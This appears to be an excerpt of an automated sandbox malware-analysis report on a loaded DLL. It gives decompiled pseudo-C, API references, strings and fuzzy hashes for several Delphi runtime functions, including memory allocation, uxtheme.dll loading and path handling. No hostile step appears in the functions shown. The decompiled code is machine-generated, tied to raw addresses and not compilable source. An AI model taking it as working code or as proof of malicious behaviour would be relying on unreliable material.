Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: 7a97947de377c4f51268352574cf2924ac5472c08644cf5ede9ec7408a82dda4
Instruction ID: 13638491a80478d8a73f369f4a3f73ca83e2594a7b17e21c905c266fb5356498
Opcode Fuzzy Hash: 7a97947de377c4f51268352574cf2924ac5472c08644cf5ede9ec7408a82dda4
Instruction Fuzzy Hash: 2AD0C7D53815102BE650B57C0D83FDA01CC8B19716F4244F6B608F7343CA598D8102B5

Uniqueness

Uniqueness Score: -1.00%

Function 00B118B8 Relevance: 1.3, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00B118B8(signed int __eax, void** __ecx, intOrPtr __edx) {
				signed int _v20;
				void** _v24;
				void* _t15;
				void** _t16;
				void* _t17;
				signed int _t27;
				intOrPtr* _t29;
				void* _t31;
				intOrPtr* _t32;

				_v24 = __ecx;
				 *_t32 = __edx;
				_t31 = __eax & 0xfffff000;
				_v20 = __eax +  *_t32 + 0x00000fff & 0xfffff000;
				 *_v24 = _t31;
				_t15 = _v20 - _t31;
				_v24[1] = _t15;
				_t29 =  *0xbdf5ec; // 0xa35eac
				while(_t29 != 0xbdf5ec) {
					_t17 =  *(_t29 + 8);
					_t27 =  *((intOrPtr*)(_t29 + 0xc)) + _t17;
					if(_t31 > _t17) {
						_t17 = _t31;
					}
					if(_t27 > _v20) {
						_t27 = _v20;
					}
					if(_t27 > _t17) {
						_t15 = VirtualAlloc(_t17, _t27 - _t17, 0x1000, 4); // executed
						if(_t15 == 0) {
							_t16 = _v24;
							 *_t16 = 0;
							return _t16;
						}
					}
					_t29 =  *_t29;
				}
				return _t15;
			}

0x00b118bf
0x00b118c3
0x00b118ca
0x00b118df
0x00b118e7
0x00b118ed
0x00b118f3
0x00b118f6
0x00b1193a
0x00b118fe
0x00b11904
0x00b11908
0x00b1190a
0x00b1190a
0x00b11910
0x00b11912
0x00b11912
0x00b11918
0x00b11925
0x00b1192c
0x00b1192e
0x00b11934
0x00000000
0x00b11934
0x00b1192c
0x00b11938
0x00b11938
0x00b11949

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 00B11925

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d74cffd5f617620091fc1762ef4bbee7cf2244b6e5049ceb25f5f939ba14cad1
Instruction ID: f8ff9f4c208b8adde08278c81b4d6cb02b678abe3f4e00d500b533e56c677141
Opcode Fuzzy Hash: d74cffd5f617620091fc1762ef4bbee7cf2244b6e5049ceb25f5f939ba14cad1
Instruction Fuzzy Hash: B9118272A057019FC3109F2DDC80A6AB7E5EFD47A0F55C9BCE6A897354E630AC818B41

Uniqueness

Uniqueness Score: -1.00%

Function 00B32294 Relevance: 1.3, APIs: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00B32294(intOrPtr _a4, intOrPtr _a8) {
				void* _t14;
				void _t15;
				intOrPtr _t25;
				char* _t26;
				void* _t35;

				if( *0xbdf88c == 0) {
					_t14 = VirtualAlloc(0, 0x1000, 0x1000, 0x40); // executed
					_t35 = _t14;
					_t15 =  *0xbdf888; // 0x9f0000
					 *_t35 = _t15;
					_t1 = _t35 + 4; // 0x4
					E00B12AC8(0xbdc618, 2, _t1);
					_t2 = _t35 + 5; // 0x5
					 *((intOrPtr*)(_t35 + 6)) = E00B3228C(_t2, E00B3226C);
					_t4 = _t35 + 0xa; // 0xa
					_t26 = _t4;
					do {
						 *_t26 = 0xe8;
						_t5 = _t35 + 4; // 0x4
						 *((intOrPtr*)(_t26 + 1)) = E00B3228C(_t26, _t5);
						 *((intOrPtr*)(_t26 + 5)) =  *0xbdf88c;
						 *0xbdf88c = _t26;
						_t26 = _t26 + 0xd;
					} while (_t26 - _t35 < 0xffc);
					 *0xbdf888 = _t35;
				}
				_t25 =  *0xbdf88c;
				 *0xbdf88c =  *((intOrPtr*)(_t25 + 5));
				 *((intOrPtr*)(_t25 + 5)) = _a4;
				 *((intOrPtr*)(_t25 + 9)) = _a8;
				return  *0xbdf88c;
			}

0x00b322a2
0x00b322b2
0x00b322b7
0x00b322b9
0x00b322be
0x00b322c0
0x00b322cd
0x00b322d7
0x00b322df
0x00b322e2
0x00b322e2
0x00b322e5
0x00b322e5
0x00b322e8
0x00b322f2
0x00b322f7
0x00b322fa
0x00b322fc
0x00b32303
0x00b3230a
0x00b3230a
0x00b32312
0x00b32317
0x00b3231c
0x00b32322
0x00b32329

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040), ref: 00B322B2

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 13e64d6149194afe7957880a5164cfa86c76cffeb5f65bd44acafe138262d03f
Instruction ID: e78b0c8b5d6ae10c57e2ee144a2efabea24c440fcd860daa1397cd9662b11dbe
Opcode Fuzzy Hash: 13e64d6149194afe7957880a5164cfa86c76cffeb5f65bd44acafe138262d03f
Instruction Fuzzy Hash: 051157352043069FC714DF18DC80B82FBE4EF88350F20C5BAE9998B385E370E9148BA5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B3BDCC Relevance: 166.5, APIs: 48, Strings: 47, Instructions: 266
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00B3BDCC(void* __ebx, void* __ecx) {
				char _v5;
				intOrPtr _t2;
				intOrPtr _t6;
				intOrPtr _t108;
				intOrPtr _t111;

				_t2 =  *0xbdfa50; // 0x2650dc8
				E00B3BBC4(_t2);
				_push(_t111);
				_push(0xb3c17f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t111;
				 *0xbdfa4c =  *0xbdfa4c + 1;
				if( *0xbdfa48 == 0) {
					 *0xbdfa48 = LoadLibraryA("uxtheme.dll");
					if( *0xbdfa48 > 0) {
						 *0xbdf988 = GetProcAddress( *0xbdfa48, "OpenThemeData");
						 *0xbdf98c = GetProcAddress( *0xbdfa48, "CloseThemeData");
						 *0xbdf990 = GetProcAddress( *0xbdfa48, "DrawThemeBackground");
						 *0xbdf994 = GetProcAddress( *0xbdfa48, "DrawThemeText");
						 *0xbdf998 = GetProcAddress( *0xbdfa48, "GetThemeBackgroundContentRect");
						 *0xbdf99c = GetProcAddress( *0xbdfa48, "GetThemeBackgroundContentRect");
						 *0xbdf9a0 = GetProcAddress( *0xbdfa48, "GetThemePartSize");
						 *0xbdf9a4 = GetProcAddress( *0xbdfa48, "GetThemeTextExtent");
						 *0xbdf9a8 = GetProcAddress( *0xbdfa48, "GetThemeTextMetrics");
						 *0xbdf9ac = GetProcAddress( *0xbdfa48, "GetThemeBackgroundRegion");
						 *0xbdf9b0 = GetProcAddress( *0xbdfa48, "HitTestThemeBackground");
						 *0xbdf9b4 = GetProcAddress( *0xbdfa48, "DrawThemeEdge");
						 *0xbdf9b8 = GetProcAddress( *0xbdfa48, "DrawThemeIcon");
						 *0xbdf9bc = GetProcAddress( *0xbdfa48, "IsThemePartDefined");
						 *0xbdf9c0 = GetProcAddress( *0xbdfa48, "IsThemeBackgroundPartiallyTransparent");
						 *0xbdf9c4 = GetProcAddress( *0xbdfa48, "GetThemeColor");
						 *0xbdf9c8 = GetProcAddress( *0xbdfa48, "GetThemeMetric");
						 *0xbdf9cc = GetProcAddress( *0xbdfa48, "GetThemeString");
						 *0xbdf9d0 = GetProcAddress( *0xbdfa48, "GetThemeBool");
						 *0xbdf9d4 = GetProcAddress( *0xbdfa48, "GetThemeInt");
						 *0xbdf9d8 = GetProcAddress( *0xbdfa48, "GetThemeEnumValue");
						 *0xbdf9dc = GetProcAddress( *0xbdfa48, "GetThemePosition");
						 *0xbdf9e0 = GetProcAddress( *0xbdfa48, "GetThemeFont");
						 *0xbdf9e4 = GetProcAddress( *0xbdfa48, "GetThemeRect");
						 *0xbdf9e8 = GetProcAddress( *0xbdfa48, "GetThemeMargins");
						 *0xbdf9ec = GetProcAddress( *0xbdfa48, "GetThemeIntList");
						 *0xbdf9f0 = GetProcAddress( *0xbdfa48, "GetThemePropertyOrigin");
						 *0xbdf9f4 = GetProcAddress( *0xbdfa48, "SetWindowTheme");
						 *0xbdf9f8 = GetProcAddress( *0xbdfa48, "GetThemeFilename");
						 *0xbdf9fc = GetProcAddress( *0xbdfa48, "GetThemeSysColor");
						 *0xbdfa00 = GetProcAddress( *0xbdfa48, "GetThemeSysColorBrush");
						 *0xbdfa04 = GetProcAddress( *0xbdfa48, "GetThemeSysBool");
						 *0xbdfa08 = GetProcAddress( *0xbdfa48, "GetThemeSysSize");
						 *0xbdfa0c = GetProcAddress( *0xbdfa48, "GetThemeSysFont");
						 *0xbdfa10 = GetProcAddress( *0xbdfa48, "GetThemeSysString");
						 *0xbdfa14 = GetProcAddress( *0xbdfa48, "GetThemeSysInt");
						 *0xbdfa18 = GetProcAddress( *0xbdfa48, "IsThemeActive");
						 *0xbdfa1c = GetProcAddress( *0xbdfa48, "IsAppThemed");
						 *0xbdfa20 = GetProcAddress( *0xbdfa48, "GetWindowTheme");
						 *0xbdfa24 = GetProcAddress( *0xbdfa48, "EnableThemeDialogTexture");
						 *0xbdfa28 = GetProcAddress( *0xbdfa48, "IsThemeDialogTextureEnabled");
						 *0xbdfa2c = GetProcAddress( *0xbdfa48, "GetThemeAppProperties");
						 *0xbdfa30 = GetProcAddress( *0xbdfa48, "SetThemeAppProperties");
						 *0xbdfa34 = GetProcAddress( *0xbdfa48, "GetCurrentThemeName");
						 *0xbdfa38 = GetProcAddress( *0xbdfa48, "GetThemeDocumentationProperty");
						 *0xbdfa3c = GetProcAddress( *0xbdfa48, "DrawThemeParentBackground");
						 *0xbdfa40 = GetProcAddress( *0xbdfa48, "EnableTheming");
					}
				}
				_v5 =  *0xbdfa48 > 0;
				_pop(_t108);
				 *[fs:eax] = _t108;
				_push(0xb3c186);
				_t6 =  *0xbdfa50; // 0x2650dc8
				return E00B3BBCC(_t6);
			}

0x00b3bdd6
0x00b3bddb
0x00b3bde2
0x00b3bde3
0x00b3bde8
0x00b3bdeb
0x00b3bdee
0x00b3bdf7
0x00b3be07
0x00b3be0c
0x00b3be1f
0x00b3be31
0x00b3be43
0x00b3be55
0x00b3be67
0x00b3be79
0x00b3be8b
0x00b3be9d
0x00b3beaf
0x00b3bec1
0x00b3bed3
0x00b3bee5
0x00b3bef7
0x00b3bf09
0x00b3bf1b
0x00b3bf2d
0x00b3bf3f
0x00b3bf51
0x00b3bf63
0x00b3bf75
0x00b3bf87
0x00b3bf99
0x00b3bfab
0x00b3bfbd
0x00b3bfcf
0x00b3bfe1
0x00b3bff3
0x00b3c005
0x00b3c017
0x00b3c029
0x00b3c03b
0x00b3c04d
0x00b3c05f
0x00b3c071
0x00b3c083
0x00b3c095
0x00b3c0a7
0x00b3c0b9
0x00b3c0cb
0x00b3c0dd
0x00b3c0ef
0x00b3c101
0x00b3c113
0x00b3c125
0x00b3c137
0x00b3c149
0x00b3c15b
0x00b3c15b
0x00b3be0c
0x00b3c163
0x00b3c169
0x00b3c16c
0x00b3c16f
0x00b3c174
0x00b3c17e

APIs

LoadLibraryA.KERNEL32(uxtheme.dll,00000000,00B3C17F), ref: 00B3BE02
GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 00B3BE1A
GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 00B3BE2C
GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 00B3BE3E
GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 00B3BE50
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 00B3BE62
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 00B3BE74
GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 00B3BE86
GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 00B3BE98
GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 00B3BEAA
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 00B3BEBC
GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 00B3BECE
GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 00B3BEE0
GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 00B3BEF2
GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 00B3BF04
GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 00B3BF16
GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 00B3BF28
GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 00B3BF3A
GetProcAddress.KERNEL32(00000000,GetThemeString), ref: 00B3BF4C
GetProcAddress.KERNEL32(00000000,GetThemeBool), ref: 00B3BF5E
GetProcAddress.KERNEL32(00000000,GetThemeInt), ref: 00B3BF70
GetProcAddress.KERNEL32(00000000,GetThemeEnumValue), ref: 00B3BF82
GetProcAddress.KERNEL32(00000000,GetThemePosition), ref: 00B3BF94
GetProcAddress.KERNEL32(00000000,GetThemeFont), ref: 00B3BFA6
GetProcAddress.KERNEL32(00000000,GetThemeRect), ref: 00B3BFB8
GetProcAddress.KERNEL32(00000000,GetThemeMargins), ref: 00B3BFCA
GetProcAddress.KERNEL32(00000000,GetThemeIntList), ref: 00B3BFDC
GetProcAddress.KERNEL32(00000000,GetThemePropertyOrigin), ref: 00B3BFEE
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 00B3C000
GetProcAddress.KERNEL32(00000000,GetThemeFilename), ref: 00B3C012
GetProcAddress.KERNEL32(00000000,GetThemeSysColor), ref: 00B3C024
GetProcAddress.KERNEL32(00000000,GetThemeSysColorBrush), ref: 00B3C036
GetProcAddress.KERNEL32(00000000,GetThemeSysBool), ref: 00B3C048
GetProcAddress.KERNEL32(00000000,GetThemeSysSize), ref: 00B3C05A
GetProcAddress.KERNEL32(00000000,GetThemeSysFont), ref: 00B3C06C
GetProcAddress.KERNEL32(00000000,GetThemeSysString), ref: 00B3C07E
GetProcAddress.KERNEL32(00000000,GetThemeSysInt), ref: 00B3C090
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 00B3C0A2
GetProcAddress.KERNEL32(00000000,IsAppThemed), ref: 00B3C0B4
GetProcAddress.KERNEL32(00000000,GetWindowTheme), ref: 00B3C0C6
GetProcAddress.KERNEL32(00000000,EnableThemeDialogTexture), ref: 00B3C0D8
GetProcAddress.KERNEL32(00000000,IsThemeDialogTextureEnabled), ref: 00B3C0EA
GetProcAddress.KERNEL32(00000000,GetThemeAppProperties), ref: 00B3C0FC
GetProcAddress.KERNEL32(00000000,SetThemeAppProperties), ref: 00B3C10E
GetProcAddress.KERNEL32(00000000,GetCurrentThemeName), ref: 00B3C120
GetProcAddress.KERNEL32(00000000,GetThemeDocumentationProperty), ref: 00B3C132
GetProcAddress.KERNEL32(00000000,DrawThemeParentBackground), ref: 00B3C144
GetProcAddress.KERNEL32(00000000,EnableTheming), ref: 00B3C156

Strings

GetCurrentThemeName, xrefs: 00B3C118
IsThemeDialogTextureEnabled, xrefs: 00B3C0E2
GetThemeBackgroundContentRect, xrefs: 00B3BE5A, 00B3BE6C
GetThemeEnumValue, xrefs: 00B3BF7A
DrawThemeText, xrefs: 00B3BE48
IsAppThemed, xrefs: 00B3C0AC
uxtheme.dll, xrefs: 00B3BDFD
EnableThemeDialogTexture, xrefs: 00B3C0D0
GetThemeString, xrefs: 00B3BF44
GetThemeIntList, xrefs: 00B3BFD4
DrawThemeIcon, xrefs: 00B3BEEA
GetThemeColor, xrefs: 00B3BF20
GetThemeInt, xrefs: 00B3BF68
SetThemeAppProperties, xrefs: 00B3C106
OpenThemeData, xrefs: 00B3BE12
HitTestThemeBackground, xrefs: 00B3BEC6
GetThemeSysBool, xrefs: 00B3C040
GetThemeMargins, xrefs: 00B3BFC2
GetThemeBool, xrefs: 00B3BF56
GetWindowTheme, xrefs: 00B3C0BE
SetWindowTheme, xrefs: 00B3BFF8
GetThemeAppProperties, xrefs: 00B3C0F4
GetThemePartSize, xrefs: 00B3BE7E
GetThemeSysSize, xrefs: 00B3C052
EnableTheming, xrefs: 00B3C14E
GetThemePropertyOrigin, xrefs: 00B3BFE6
GetThemeSysColorBrush, xrefs: 00B3C02E
DrawThemeParentBackground, xrefs: 00B3C13C
GetThemeTextMetrics, xrefs: 00B3BEA2
GetThemeRect, xrefs: 00B3BFB0
GetThemeBackgroundRegion, xrefs: 00B3BEB4
DrawThemeEdge, xrefs: 00B3BED8
GetThemePosition, xrefs: 00B3BF8C
GetThemeDocumentationProperty, xrefs: 00B3C12A
GetThemeTextExtent, xrefs: 00B3BE90
IsThemeBackgroundPartiallyTransparent, xrefs: 00B3BF0E
IsThemePartDefined, xrefs: 00B3BEFC
GetThemeSysString, xrefs: 00B3C076
GetThemeFilename, xrefs: 00B3C00A
DrawThemeBackground, xrefs: 00B3BE36
GetThemeMetric, xrefs: 00B3BF32
GetThemeSysColor, xrefs: 00B3C01C
CloseThemeData, xrefs: 00B3BE24
GetThemeSysInt, xrefs: 00B3C088
GetThemeFont, xrefs: 00B3BF9E
GetThemeSysFont, xrefs: 00B3C064
IsThemeActive, xrefs: 00B3C09A

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
API String ID: 2238633743-2910565190
Opcode ID: 76312cd6b6495c3395d31d0f4d2aabc7de953ad25bcdbf2ea2fe101c40148e81
Instruction ID: fd34fcdcc4b324d8af087cfdfaa406478b45f31e39674a5e868a9b392e3ee5e0
Opcode Fuzzy Hash: 76312cd6b6495c3395d31d0f4d2aabc7de953ad25bcdbf2ea2fe101c40148e81
Instruction Fuzzy Hash: 5BA138B0A46751AFDB00EFF4ECA2A757BF8EB0570076445F2B401DF265EAB9D8408B19

Uniqueness

Uniqueness Score: -1.00%

Function 00B15A3C Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 136
stringlibraryfileCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00B15A3C(char* __eax, intOrPtr __edx) {
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				struct _WIN32_FIND_DATAA _v334;
				char _v595;
				void* _t45;
				char* _t54;
				char* _t64;
				void* _t83;
				intOrPtr* _t84;
				char* _t90;
				struct HINSTANCE__* _t91;
				char* _t93;
				void* _t94;
				char* _t95;
				void* _t96;

				_v12 = __edx;
				_v8 = __eax;
				_v16 = _v8;
				_t91 = GetModuleHandleA("kernel32.dll");
				if(_t91 == 0) {
					L4:
					if( *_v8 != 0x5c) {
						_t93 = _v8 + 2;
						goto L10;
					} else {
						if( *((char*)(_v8 + 1)) == 0x5c) {
							_t95 = E00B15A28(_v8 + 2);
							if( *_t95 != 0) {
								_t14 = _t95 + 1; // 0x1
								_t93 = E00B15A28(_t14);
								if( *_t93 != 0) {
									L10:
									_t83 = _t93 - _v8;
									_push(_t83 + 1);
									_push(_v8);
									_push( &_v595);
									L00B114A4();
									while( *_t93 != 0) {
										_t90 = E00B15A28(_t93 + 1);
										_t45 = _t90 - _t93;
										if(_t45 + _t83 + 1 <= 0x105) {
											_push(_t45 + 1);
											_push(_t93);
											_push( &(( &_v595)[_t83]));
											L00B114A4();
											_t94 = FindFirstFileA( &_v595,  &_v334);
											if(_t94 != 0xffffffff) {
												FindClose(_t94);
												_t54 =  &(_v334.cFileName);
												_push(_t54);
												L00B114AC();
												if(_t54 + _t83 + 1 + 1 <= 0x105) {
													 *((char*)(_t96 + _t83 - 0x24f)) = 0x5c;
													_push(0x105 - _t83 - 1);
													_push( &(_v334.cFileName));
													_push( &(( &(( &_v595)[_t83]))[1]));
													L00B114A4();
													_t64 =  &(_v334.cFileName);
													_push(_t64);
													L00B114AC();
													_t83 = _t83 + _t64 + 1;
													_t93 = _t90;
													continue;
												}
											}
										}
										goto L17;
									}
									_push(_v12);
									_push( &_v595);
									_push(_v8);
									L00B114A4();
								}
							}
						}
					}
				} else {
					_t84 = GetProcAddress(_t91, "GetLongPathNameA");
					if(_t84 == 0) {
						goto L4;
					} else {
						_push(0x105);
						_push( &_v595);
						_push(_v8);
						if( *_t84() == 0) {
							goto L4;
						} else {
							_push(_v12);
							_push( &_v595);
							_push(_v8);
							L00B114A4();
						}
					}
				}
				L17:
				return _v16;
			}

0x00b15a48
0x00b15a4b
0x00b15a51
0x00b15a5e
0x00b15a62
0x00b15aa4
0x00b15aaa
0x00b15ae7
0x00000000
0x00b15aac
0x00b15ab3
0x00b15ac4
0x00b15ac9
0x00b15acf
0x00b15ad7
0x00b15adc
0x00b15aea
0x00b15aec
0x00b15af2
0x00b15af6
0x00b15afd
0x00b15afe
0x00b15ba9
0x00b15b10
0x00b15b14
0x00b15b21
0x00b15b28
0x00b15b29
0x00b15b32
0x00b15b33
0x00b15b4b
0x00b15b50
0x00b15b53
0x00b15b58
0x00b15b5e
0x00b15b5f
0x00b15b6f
0x00b15b71
0x00b15b81
0x00b15b88
0x00b15b92
0x00b15b93
0x00b15b98
0x00b15b9e
0x00b15b9f
0x00b15ba5
0x00b15ba7
0x00000000
0x00b15ba7
0x00b15b6f
0x00b15b50
0x00000000
0x00b15b21
0x00b15bb5
0x00b15bbc
0x00b15bc0
0x00b15bc1
0x00b15bc1
0x00b15adc
0x00b15ac9
0x00b15ab3
0x00b15a64
0x00b15a6f
0x00b15a73
0x00000000
0x00b15a75
0x00b15a75
0x00b15a80
0x00b15a84
0x00b15a89
0x00000000
0x00b15a8b
0x00b15a8e
0x00b15a95
0x00b15a99
0x00b15a9a
0x00b15a9a
0x00b15a89
0x00b15a73
0x00b15bc6
0x00b15bcf

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,108B00BD,00BDC0A4,?,00B15C9C,00000000,00B15CF9,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 00B15A59
GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 00B15A6A
lstrcpyn.KERNEL32(?,?,?,?,108B00BD,00BDC0A4,?,00B15C9C,00000000,00B15CF9,?,80000001,Software\Borland\Locales,00000000,000F0019,?), ref: 00B15A9A
lstrcpyn.KERNEL32(?,?,?,kernel32.dll,?,108B00BD,00BDC0A4,?,00B15C9C,00000000,00B15CF9,?,80000001,Software\Borland\Locales,00000000,000F0019), ref: 00B15AFE
lstrcpyn.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,?,108B00BD,00BDC0A4,?,00B15C9C,00000000,00B15CF9,?,80000001), ref: 00B15B33
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,?,108B00BD,00BDC0A4,?,00B15C9C,00000000,00B15CF9), ref: 00B15B46
FindClose.KERNEL32(00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,?,108B00BD,00BDC0A4,?,00B15C9C,00000000), ref: 00B15B53
lstrlen.KERNEL32(?,00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,?,108B00BD,00BDC0A4,?,00B15C9C), ref: 00B15B5F
lstrcpyn.KERNEL32(0000005D,?,00000104), ref: 00B15B93
lstrlen.KERNEL32(?,0000005D,?,00000104), ref: 00B15B9F
lstrcpyn.KERNEL32(?,0000005C,?,?,0000005D,?,00000104), ref: 00B15BC1

Strings

GetLongPathNameA, xrefs: 00B15A64
\, xrefs: 00B15B71
kernel32.dll, xrefs: 00B15A54

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 38b91c6a27818aac7f35f732d8a6879ee2ce141f3bbbffd431d8fcbf6f10ee71
Instruction ID: ae2bac29e959a5fcf3ac285ae5cd15cd20d9f33f42665212e2f459008d94d6b0
Opcode Fuzzy Hash: 38b91c6a27818aac7f35f732d8a6879ee2ce141f3bbbffd431d8fcbf6f10ee71
Instruction Fuzzy Hash: C2418D72D00619EBCB20DEA8CD85EDEB3ECDF84310F9805E1A549E7242D6349E848B54

Uniqueness

Uniqueness Score: -1.00%

Function 00B39C84 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00B39C84(void* __edi, struct HWND__* _a4, signed int _a8) {
				struct _WINDOWPLACEMENT _v48;
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed int _t19;
				intOrPtr _t21;
				struct HWND__* _t23;

				_t19 = _a8;
				_t23 = _a4;
				if( *0xbdf91d != 0) {
					if((_t19 & 0x00000003) == 0) {
						if(IsIconic(_t23) == 0) {
							GetWindowRect(_t23,  &(_v48.rcNormalPosition));
						} else {
							GetWindowPlacement(_t23,  &_v48);
						}
						return E00B39BF4( &(_v48.rcNormalPosition), _t19);
					}
					return 0x12340042;
				}
				_t21 =  *0xbdf8f8; // 0xb39c84
				 *0xbdf8f8 = E00B39A84(1, _t19, _t21, __edi, _t23);
				return  *0xbdf8f8(_t23, _t19);
			}

0x00b39c8c
0x00b39c8f
0x00b39c99
0x00b39cc3
0x00b39cd4
0x00b39ce7
0x00b39cd6
0x00b39cdb
0x00b39cdb
0x00000000
0x00b39cf1
0x00000000
0x00b39cc5
0x00b39ca0
0x00b39cad
0x00000000

Strings

MonitorFromWindow, xrefs: 00B39C9B

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: AddressProc
String ID: MonitorFromWindow
API String ID: 190572456-2842599566
Opcode ID: 1089c745699b57353d40cf03929a965b94fb251c27e5ef003b10e89bb65545f9
Instruction ID: b991951716f12669871d463dc6b6b03fe4b5330b4941ea51bd8dc756ce668919
Opcode Fuzzy Hash: 1089c745699b57353d40cf03929a965b94fb251c27e5ef003b10e89bb65545f9
Instruction Fuzzy Hash: 4001D67194A119AA8B00EB549CC19FFB3ECEF01310FA440A2FC2293201EF759E4197E5

Uniqueness

Uniqueness Score: -1.00%

